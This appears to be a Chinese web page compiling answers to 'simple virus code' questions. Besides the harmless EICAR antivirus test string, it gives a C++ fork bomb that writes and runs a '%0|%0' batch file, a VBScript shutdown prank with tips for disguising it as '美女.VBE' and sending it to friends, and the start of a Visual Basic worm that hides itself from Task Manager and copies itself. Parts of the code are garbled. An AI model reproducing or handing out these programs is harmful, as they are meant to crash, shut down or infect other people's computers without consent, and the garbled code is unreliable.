本文目录一览：
谁能给我一个简单的病毒的代码呀
本代码尽管测试，无任何危险。病毒文件测试代码。使用 *** 如下：
this
is
not
a
real
virus.
it
is
a
text
file
that
is
used
to
test
antivirus
software.
测试代码：
---------------------请复制下面的代码到文本中保存-------------------
x5o!p%@ap[4\pzx54(p^)7cc)7}$eicar-standard-antivirus-test-file!$h+h*
---------------------请复制上面的代码到文本中保存-------------------
测试 *** ：
1.鼠标右键点击桌面空白处，创建一个“文本文档”。（什么，还不会建？我倒）
2.将下面这段测试代码复制到“文本”里，保存，然后可以直接右键点击这个文本，用杀毒软件扫描（图1）。也可以等一会，如果你的杀毒软件还行，会自动报毒并将该文本删除，那就可以初步放心了。
测试原理：
该段代码是欧洲计算机防病毒协会开发的一种病毒代码，其中的特征码已经包含在各种杀毒软件的病毒代码库里，所以可以用做测试病毒扫描引擎。
测试等级:
特等：复制完代码后便提示内存有病毒
优等：刚保存完就提示病毒(或者直接删除)
中等：保存后几秒提示病毒(或者直接删除)
下等：需自己启动病毒扫描查杀才提示病毒(或者直接删除)
劣等：无论怎么扫描都无法提示病毒(或者直接删除)
比较简单的C++病毒代码
/*亲自验证，不到30秒电脑卡死！运行后做好关机准备*/
/*留下您的赞再拿走，谢谢*/
运行效果如图
/*源代码：*/
//////////////////////////////////////////////////
#include Windows.h
#include iostream
#include fstream
using namespace std;
int main()
{
char a[9] = "abc.bat";
ofstream file_out(a);
file_out"%0|%0";
file_out.close();
system( a );
return 0;
}
手机qq病毒代码整人一个
将以下代码复制到记事本中。onerrorresumenextdimWSHshellAsetWSHshellA=wscript.createobject("wscript.shell")WSHshellA.run"cmd.exe/cshutdown-r-t30-c""快说潮流哥特，不说就30秒关你机，不信，试试···"""，0，truedimadowhile(a"潮流哥特")a=inputbox("说潮流哥特，不然就不关机，快撒，说""潮流哥特"""，"说不说"，"不说"，8000，7000)msgboxchr(13)+chr(13)+chr(13)+a，0，"MsgBox"loop上面的文字可以随便改，不印象效果。将记事本文件重命名为***.VBE（文件名可以任意起，如美女.VBE）如果谁运行了这个 *** 炸弹，在30秒后会自动关机。下面说一下使用 *** ：最简单的使用 *** 是，你直接发给好友，让他运行，然后他就中招了。
可以打开的手机病毒代码是什么
可以打开的手机病毒代码是什么
1、木马(Trojan),也称木马病毒,是指通过特定的程序(木马程序)来控制另一台计算机。木马通常有两个可执行程序:一个是控制端,另一个是被控制端。
2、木马这个名字来源于古希腊传说(荷马史诗中木马计的故事,Trojan一词的特洛伊木马本意是特洛伊的,即代指特洛伊木马,也就是木马计的故事)。
简单的病毒编程代码
蠕虫病毒小代码
打开Visual Basic，选择“Standard EXE”的Project。移除那个Form，然后加入一个Module。点击Project-Project1 Properties。在弹出来的窗口中，把Startup Object改为“Sub Main”。在Module中，键入以下的编码：
Sub Main() 'TaskVisible的功能是把程序在End Task表中除掉。App.TaskVisible = False End Sub。
以上的编码只是把程序从End Task表中除掉，没什么作用。现在，让这个VB蠕虫自行复制去别的文件夹。
在Sub Main中键入以下的编码：
＇阻止问题发生On Error Resume Next Dim Location, Location2, DesLocation, DesLocation2 '得到EXE的位置Location = App.Path "\" App.EXEName ".exe" Location2 = App.Path App.EXEName ".exe"。